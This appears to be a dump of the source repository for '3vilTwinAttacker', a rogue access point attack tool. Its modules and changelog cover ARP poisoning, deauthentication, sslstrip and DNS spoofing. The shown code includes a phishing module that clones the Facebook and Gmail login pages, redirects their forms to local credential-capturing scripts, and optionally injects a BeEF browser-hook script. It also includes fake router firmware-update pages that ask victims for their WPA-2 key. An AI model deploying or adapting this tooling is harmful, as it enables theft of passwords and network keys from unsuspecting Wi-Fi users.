├── Logs └── __init__.py ├── Core ├── __init__.py ├── check.py ├── Privilege.py ├── about.py ├── theme1.qss └── Settings.py ├── Plugins ├── __init__.py └── sslstrip │ ├── __init__.py │ ├── DnsCache.py │ ├── README.md │ ├── StrippingProxy.py │ ├── ServerConnectionFactory.py │ ├── URLMonitor.py │ ├── CookieCleaner.py │ ├── SSLServerConnection.py │ ├── ServerConnection.py │ └── ClientRequest.py ├── Modules ├── __init__.py ├── Phishing │ ├── Gmail │ │ ├── log.txt │ │ ├── logo_2x.png │ │ ├── avatar_2x.png │ │ ├── logo_strip_2x.png │ │ └── login.php │ ├── Route │ │ ├── log.txt │ │ ├── vlogo_blk.gif │ │ ├── Untitled-2.png │ │ ├── gradientstrip.gif │ │ ├── save.php │ │ ├── verizon.css │ │ ├── update.html │ │ ├── error.html │ │ └── index.html │ ├── Facebook │ │ ├── log.txt │ │ └── login.php │ └── Custom │ │ └── index.html ├── Templates │ └── __init__.py ├── ModuleMacchanger.py ├── ModuleProbeRequest.py ├── ModuleStarvation.py ├── Credentials.py ├── ModuleUpdateFake.py ├── ModuleTemplates.py ├── ModuleDeauth.py ├── utils.py └── ModuleArpPosion.py ├── requirements.txt ├── rsc ├── arp.png ├── dns.png ├── mac.png ├── ssl.png ├── Save.png ├── Stop.png ├── about.png ├── adobe.png ├── arp_.png ├── check.png ├── close.png ├── deauth.png ├── delete.png ├── dhcp.png ├── export.png ├── icon.ico ├── logger.png ├── logo.png ├── online.png ├── open.png ├── page.png ├── probe.png ├── report.png ├── scan.png ├── server.png ├── start.png ├── undock.png ├── update.png ├── wifi.png ├── winUp.png ├── capture.png ├── checkbox.png ├── computer.png ├── database.png ├── ettercap.png ├── loading2.gif ├── network.png ├── password.png ├── refresh.png ├── setting.png ├── settings.png ├── sizegrip.png ├── up_arrow.png ├── branch_open.png ├── close-hover.png ├── dns_spoof.png ├── down_arrow.png ├── left_arrow.png ├── network_off.png ├── right_arrow.png ├── transparent.png ├── Hmovetoolbar.png ├── Hsepartoolbar.png ├── Vmovetoolbar.png ├── Vsepartoolbar.png ├── branch_closed.png ├── close-pressed.png ├── branch_closed-on.png ├── branch_open-on.png ├── stylesheet-vline.png ├── down_arrow_theme2.png ├── up_arrow_disabled.png ├── down_arrow_disabled.png ├── left_arrow_disabled.png ├── right_arrow_disabled.png ├── stylesheet-branch-end.png ├── checkbox_indeterminate.png └── stylesheet-branch-more.png ├── Settings ├── source.tar.gz ├── dnsmasq.conf └── Settings.xml ├── update.sh ├── .travis.yml ├── CHANGELOG ├── .gitignore ├── LICENSE ├── 3vilTwin-Attacker.py ├── README.md └── installer.sh /Logs/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Core/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Plugins/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Plugins/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/log.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/log.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Templates/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modules/Phishing/Facebook/log.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Twisted 2 | scapy 3 | BeautifulSoup 4 | python-nmap -------------------------------------------------------------------------------- /rsc/arp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/arp.png -------------------------------------------------------------------------------- /rsc/dns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dns.png -------------------------------------------------------------------------------- /rsc/mac.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/mac.png -------------------------------------------------------------------------------- /rsc/ssl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/ssl.png -------------------------------------------------------------------------------- /rsc/Save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Save.png -------------------------------------------------------------------------------- /rsc/Stop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Stop.png -------------------------------------------------------------------------------- /rsc/about.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/about.png -------------------------------------------------------------------------------- /rsc/adobe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/adobe.png -------------------------------------------------------------------------------- /rsc/arp_.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/arp_.png -------------------------------------------------------------------------------- /rsc/check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/check.png -------------------------------------------------------------------------------- /rsc/close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close.png -------------------------------------------------------------------------------- /rsc/deauth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/deauth.png -------------------------------------------------------------------------------- /rsc/delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/delete.png -------------------------------------------------------------------------------- /rsc/dhcp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dhcp.png -------------------------------------------------------------------------------- /rsc/export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/export.png -------------------------------------------------------------------------------- /rsc/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/icon.ico -------------------------------------------------------------------------------- /rsc/logger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/logger.png -------------------------------------------------------------------------------- /rsc/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/logo.png -------------------------------------------------------------------------------- /rsc/online.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/online.png -------------------------------------------------------------------------------- /rsc/open.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/open.png -------------------------------------------------------------------------------- /rsc/page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/page.png -------------------------------------------------------------------------------- /rsc/probe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/probe.png -------------------------------------------------------------------------------- /rsc/report.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/report.png -------------------------------------------------------------------------------- /rsc/scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/scan.png -------------------------------------------------------------------------------- /rsc/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/server.png -------------------------------------------------------------------------------- /rsc/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/start.png -------------------------------------------------------------------------------- /rsc/undock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/undock.png -------------------------------------------------------------------------------- /rsc/update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/update.png -------------------------------------------------------------------------------- /rsc/wifi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/wifi.png -------------------------------------------------------------------------------- /rsc/winUp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/winUp.png -------------------------------------------------------------------------------- /rsc/capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/capture.png -------------------------------------------------------------------------------- /rsc/checkbox.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/checkbox.png -------------------------------------------------------------------------------- /rsc/computer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/computer.png -------------------------------------------------------------------------------- /rsc/database.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/database.png -------------------------------------------------------------------------------- /rsc/ettercap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/ettercap.png -------------------------------------------------------------------------------- /rsc/loading2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/loading2.gif -------------------------------------------------------------------------------- /rsc/network.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/network.png -------------------------------------------------------------------------------- /rsc/password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/password.png -------------------------------------------------------------------------------- /rsc/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/refresh.png -------------------------------------------------------------------------------- /rsc/setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/setting.png -------------------------------------------------------------------------------- /rsc/settings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/settings.png -------------------------------------------------------------------------------- /rsc/sizegrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/sizegrip.png -------------------------------------------------------------------------------- /rsc/up_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/up_arrow.png -------------------------------------------------------------------------------- /rsc/branch_open.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_open.png -------------------------------------------------------------------------------- /rsc/close-hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close-hover.png -------------------------------------------------------------------------------- /rsc/dns_spoof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/dns_spoof.png -------------------------------------------------------------------------------- /rsc/down_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow.png -------------------------------------------------------------------------------- /rsc/left_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/left_arrow.png -------------------------------------------------------------------------------- /rsc/network_off.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/network_off.png -------------------------------------------------------------------------------- /rsc/right_arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/right_arrow.png -------------------------------------------------------------------------------- /rsc/transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/transparent.png -------------------------------------------------------------------------------- /rsc/Hmovetoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Hmovetoolbar.png -------------------------------------------------------------------------------- /rsc/Hsepartoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Hsepartoolbar.png -------------------------------------------------------------------------------- /rsc/Vmovetoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Vmovetoolbar.png -------------------------------------------------------------------------------- /rsc/Vsepartoolbar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/Vsepartoolbar.png -------------------------------------------------------------------------------- /rsc/branch_closed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_closed.png -------------------------------------------------------------------------------- /rsc/close-pressed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/close-pressed.png -------------------------------------------------------------------------------- /Settings/source.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Settings/source.tar.gz -------------------------------------------------------------------------------- /rsc/branch_closed-on.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_closed-on.png -------------------------------------------------------------------------------- /rsc/branch_open-on.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/branch_open-on.png -------------------------------------------------------------------------------- /rsc/stylesheet-vline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-vline.png -------------------------------------------------------------------------------- /rsc/down_arrow_theme2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow_theme2.png -------------------------------------------------------------------------------- /rsc/up_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/up_arrow_disabled.png -------------------------------------------------------------------------------- /Settings/dnsmasq.conf: -------------------------------------------------------------------------------- 1 | interface=at0 2 | dhcp-range=10.0.0.10,10.0.0.50,12h 3 | server=8.8.8.8 4 | server=8.8.4.4 5 | -------------------------------------------------------------------------------- /rsc/down_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/down_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/left_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/left_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/right_arrow_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/right_arrow_disabled.png -------------------------------------------------------------------------------- /rsc/stylesheet-branch-end.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-branch-end.png -------------------------------------------------------------------------------- /rsc/checkbox_indeterminate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/checkbox_indeterminate.png -------------------------------------------------------------------------------- /rsc/stylesheet-branch-more.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/rsc/stylesheet-branch-more.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/logo_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/logo_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/avatar_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/avatar_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Route/vlogo_blk.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/vlogo_blk.gif -------------------------------------------------------------------------------- /Modules/Phishing/Route/Untitled-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/Untitled-2.png -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/logo_strip_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Gmail/logo_strip_2x.png -------------------------------------------------------------------------------- /Modules/Phishing/Route/gradientstrip.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samyoyo/3vilTwinAttacker/HEAD/Modules/Phishing/Route/gradientstrip.gif -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ "$(id -u)" != "0" ]; then 3 | echo "Please run as root" 1>&2 4 | exit 1 5 | fi 6 | echo '[!] Updating 3viltwinAttacker' 7 | git pull -------------------------------------------------------------------------------- /Modules/Phishing/Gmail/login.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Facebook/login.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Custom/index.html: -------------------------------------------------------------------------------- 1 | 2 |
3 |this is demo Attack Redirect.
10 | 11 | 12 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "2.7" 4 | sudo: required 5 | before_install: 6 | - sudo apt-get update -qq 7 | - sudo apt-get -y install python-qt4 python-scapy python-nmap 8 | 9 | install: 10 | - pip install -r requirements.txt 11 | script: nosetests 12 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/save.php: -------------------------------------------------------------------------------- 1 | 26 | -------------------------------------------------------------------------------- /Core/check.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | from os import path,popen 3 | GREEN = '\033[32m' 4 | YELLOW = '\033[33m' 5 | RED = '\033[91m' 6 | ENDC = '\033[0m' 7 | def check_dependencies(): 8 | ettercap = popen('which ettercap').read().split("\n") 9 | dhcpd = popen('which dhcpd').read().split("\n") 10 | lista = [dhcpd[0],'/usr/sbin/airbase-ng', 11 | ettercap[0]] 12 | m = [] 13 | for i in lista: 14 | m.append(path.isfile(i)) 15 | for k,g in enumerate(m): 16 | if m[k] == False: 17 | if k == 0: 18 | print '[%s✘%s] isc-dhcp-server not %sinstalled%s.'%(RED,ENDC,YELLOW,ENDC) -------------------------------------------------------------------------------- /Plugins/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | Version 0.6.4 2 | ------------- 3 | - added support kali 2.0 4 | - added iptables Settings 5 | - change design main 6 | - fixed some bug with AP internet share 7 | - fixed dhcp install 8 | 9 | Version 0.6.3 10 | ----------- 11 | - Netcreds Plugin 12 | - New DHCP (dnsmasq) 13 | - New module DNS spoof 14 | - Beef API Hook on Phishing 15 | - export html report attack 16 | - Advanced Settings 17 | - sslstrip on default 18 | - Credentials Monitor 19 | - Credentials Phising 20 | 21 | Version 0.5.9 22 | ----------- 23 | - Added thread fast scan 24 | - Fixed same bugs 25 | - added theme 2 26 | - added airodump scan network 27 | - fixed error kali 1.1.0 28 | - added Function DNS Spoof with ettercap 29 | - added funcion Settings AP 30 | - added thread and remove xterm window 31 | -------------------------------------------------------------------------------- /Modules/Phishing/Route/verizon.css: -------------------------------------------------------------------------------- 1 | body 2 | { 3 | background-color:#D32000; 4 | background-image:url('gradientstrip.gif'); 5 | background-repeat:repeat-x; 6 | } 7 | 8 | div#base { 9 | position:relative; 10 | top:40px; 11 | margin:0 auto; 12 | width:75%; 13 | height:400px; 14 | } 15 | 16 | div#logo { 17 | position:relative; 18 | margin:0 auto; 19 | top:auto; 20 | width:90%; 21 | height:auto; 22 | } 23 | 24 | div#box { 25 | position:relative; 26 | margin:0 auto; 27 | top:60px; 28 | width:90%; 29 | height:530px; 30 | border:10px solid #ccf; 31 | border-top-right-radius:15px; 32 | border-top-left-radius:15px; 33 | border-bottom-right-radius:15px; 34 | border-bottom-left-radius:15px; 35 | border-style:groove; 36 | background: #eff; 37 | } 38 | 39 | p { 40 | font-family:Arial Black; 41 | } 42 | 43 | p#normal { 44 | font-family:Arial; 45 | } 46 | 47 | form#form1 { 48 | position:relative; 49 | left:80px; 50 | } 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *.pyc 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ -------------------------------------------------------------------------------- /Modules/Phishing/Route/update.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
15 | Wireless Network: deathcorps
19 | 20 | 21 |22 | Thank you, your settings have been saved!
23 | 24 |25 | Now you can access the internet freely.
26 | 27 |
15 | Wireless Network: deathcorps
19 | 20 | 21 |22 | Error: Your WPA-2 keys do not match!
23 | 24 |25 | Please enter the keys again.
26 | 27 |Click here to go back...
28 | 29 |
15 |
16 | 21 |
Wireless Network Firmware Update:
22 |23 | For your security, enter your WPA-2 Key in order to access the internet.
24 | 25 | 26 |Instructions Update:
34 |35 | To upgrade the Router's firmware, follow these instructions:
36 |
37 | 1 - Entre with password the access point network.
38 | 2 - Press Enter.
39 |
Firmware Help:
43 |
44 | Firmware Version - Displays the current firmware version
45 | Hardware Version - Displays the current hardware version. The hardware version of the upgrade file must accord with the current hardware version.
46 | Note: The firmware version must correspond to the hardware. The upgrade process takes a few moments and the Router restarts automatically when the upgrade is complete. It is important to keep power applied during the entire process. Loss of power during the upgrade could damage the Router.
48 | Firmware Version: 4.17.11 Build 110419 Rel.63487n. 49 |
50 | 51 |this is demo Attack Redirect.
\n' 65 | '\n\n') 66 | self.txt_html.setEnabled(False) 67 | # connect buton 68 | self.check_face.clicked.connect(self.check_options) 69 | self.check_gmail.clicked.connect(self.check_options) 70 | self.check_route.clicked.connect(self.check_options) 71 | self.check_beef.clicked.connect(self.check_options) 72 | self.check_custom.clicked.connect(self.check_options) 73 | 74 | self.txt_redirect = QLineEdit(self) 75 | self.btn_start_template = QPushButton('Start Server HTTP') 76 | self.btn_start_template.clicked.connect(self.start_server) 77 | 78 | self.frm0.addRow(self.check_face) 79 | self.frm0.addRow(self.check_gmail) 80 | self.frm0.addRow(self.check_route) 81 | self.frm0.addRow(self.check_custom) 82 | h = QFrame(self) 83 | h.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) 84 | self.frm0.addRow(h) 85 | self.frm0.addRow(self.check_beef) 86 | self.frm0.addRow(QLabel('IP Redirect:'),self.txt_redirect) 87 | self.frm0.addRow("Beef Hook URL:",self.EditBeef) 88 | self.frm0.addRow(self.btn_start_template) 89 | 90 | layout = QHBoxLayout() 91 | layout.addWidget(self.txt_html) 92 | layout.addLayout(self.frm0) 93 | 94 | self.Main.addLayout(layout) 95 | self.setLayout(self.Main) 96 | 97 | @pyqtSlot(QModelIndex) 98 | def check_options(self,index): 99 | if self.check_face.isChecked(): 100 | self.check_route.setChecked(False) 101 | self.check_gmail.setChecked(False) 102 | elif self.check_gmail.isChecked(): 103 | self.check_face.setChecked(False) 104 | self.check_route.setChecked(False) 105 | else: 106 | self.check_face.setChecked(False) 107 | self.check_gmail.setChecked(False) 108 | 109 | if self.check_custom.isChecked(): 110 | self.txt_html.setEnabled(True) 111 | else: 112 | self.txt_html.setEnabled(False) 113 | if self.check_beef.isChecked(): 114 | self.EditBeef.setEnabled(True) 115 | else: 116 | self.EditBeef.setEnabled(False) 117 | 118 | def start_server(self): 119 | sock = None 120 | if self.check_face.isChecked(): 121 | url = 'http://facebook.com' 122 | try: 123 | sock = urlopen(url).read() 124 | self.control = 'facebook' 125 | except URLError, e: 126 | QMessageBox.information(self,'Error',"Server not found, can't find the server at focebook." + str(e)) 127 | elif self.check_gmail.isChecked(): 128 | try: 129 | sock = urlopen('http://accounts.google.com/Login?hl').read() 130 | self.control = 'gmail' 131 | except URLError,e: 132 | QMessageBox.information(self,'Error',"Server not found, can't find the server at google." + str(e)) 133 | elif self.check_route.isChecked(): 134 | self.control = 'route' 135 | elif self.check_custom.isChecked(): 136 | self.control = 'custom' 137 | else: 138 | QMessageBox.information(self,'Error','checkbox not checked.') 139 | 140 | if self.control != None: 141 | self.phishing_page(self.control,sock) 142 | if not len(threadloading['template']) == 0: 143 | self.deleteLater() 144 | def killThread(self): 145 | for i in threadloading['template']: 146 | i.stop(),i.join() 147 | def phishing_page(self,choice,sock): 148 | if choice == 'facebook': 149 | path = 'Modules/Phishing/Facebook/' 150 | try: 151 | chdir(path) 152 | except OSError,e: 153 | return None 154 | self.html = sock.replace('https://www.facebook.com/login.php?login_attempt=1', 'login.php') 155 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 156 | self.hook = ''%self.EditBeef.text() 157 | html_final = Beef_Hook_url(self.html,self.hook) 158 | if html_final != None: 159 | self.html = html_final 160 | else: QMessageBox.information(self,'Error Hook Inject Page', 161 | 'Hook Url not injected, not found tag ""') 162 | with open('index.html','w') as f: 163 | f.write(str(self.html)) 164 | f.close() 165 | elif choice == 'route': 166 | path = 'Modules/Phishing/Route/' 167 | chdir(path) 168 | elif choice == 'custom': 169 | path = 'Modules/Phishing/Custom/' 170 | chdir(path) 171 | self.html = self.txt_html.toPlainText() 172 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 173 | self.hook = ''%self.EditBeef.text() 174 | html_final = Beef_Hook_url(self.html,self.hook) 175 | if html_final != None: 176 | self.html = html_final 177 | else: QMessageBox.information(self,'Error Hook Inject Page', 178 | 'Hook Url not injected, not found tag ') 179 | with open('index.html','w') as f: 180 | f.write(str(self.html)) 181 | f.close() 182 | elif choice == 'gmail': 183 | path = 'Modules/Phishing/Gmail/' 184 | try: 185 | chdir(path) 186 | request = urlopen('http://accounts.google.com/Login?hl').read() 187 | self.html = request.replace('//ssl.gstatic.com/accounts/ui/','') 188 | self.html = request.replace('https://accounts.google.com/ServiceLoginAuth','login.php') 189 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 190 | self.hook = ''%self.EditBeef.text() 191 | html_final = Beef_Hook_url(self.html,self.hook) 192 | if html_final != None: 193 | self.html = html_final 194 | else: QMessageBox.information(self,'Error Hook Inject Page', 195 | 'Hook Url not injected, not found tag ""') 196 | with open('index.html','w') as f: 197 | f.write(str(self.html)) 198 | f.close() 199 | except OSError,e: 200 | return None 201 | 202 | ip = str(self.txt_redirect.text()) 203 | popen('service apache2 stop') 204 | if ip != None: 205 | Tphishing = ProcessThread(['php', '-S',ip+':80']) 206 | Tphishing.setName('Phishing:'+choice) 207 | threadloading['template'].append(Tphishing) 208 | Tphishing.start() 209 | self.emit(SIGNAL('Activated( QString )'),'started') 210 | else: 211 | QMessageBox.information(self,'Connection','Ipaddress not found') 212 | -------------------------------------------------------------------------------- /Core/theme1.qss: -------------------------------------------------------------------------------- 1 | QToolTip 2 | { 3 | border: 1px solid black; 4 | background-color: #ffa02f; 5 | padding: 1px; 6 | border-radius: 3px; 7 | opacity: 100; 8 | } 9 | 10 | QWidget 11 | { 12 | color: #b1b1b1; 13 | background-color: #323232; 14 | } 15 | 16 | QWidget:item:hover 17 | { 18 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619); 19 | color: #000000; 20 | } 21 | 22 | QWidget:item:selected 23 | { 24 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 25 | } 